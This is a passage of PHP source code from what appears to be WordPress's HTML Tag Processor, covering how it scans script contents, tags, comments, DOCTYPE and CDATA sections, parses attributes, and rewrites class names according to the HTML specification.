			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
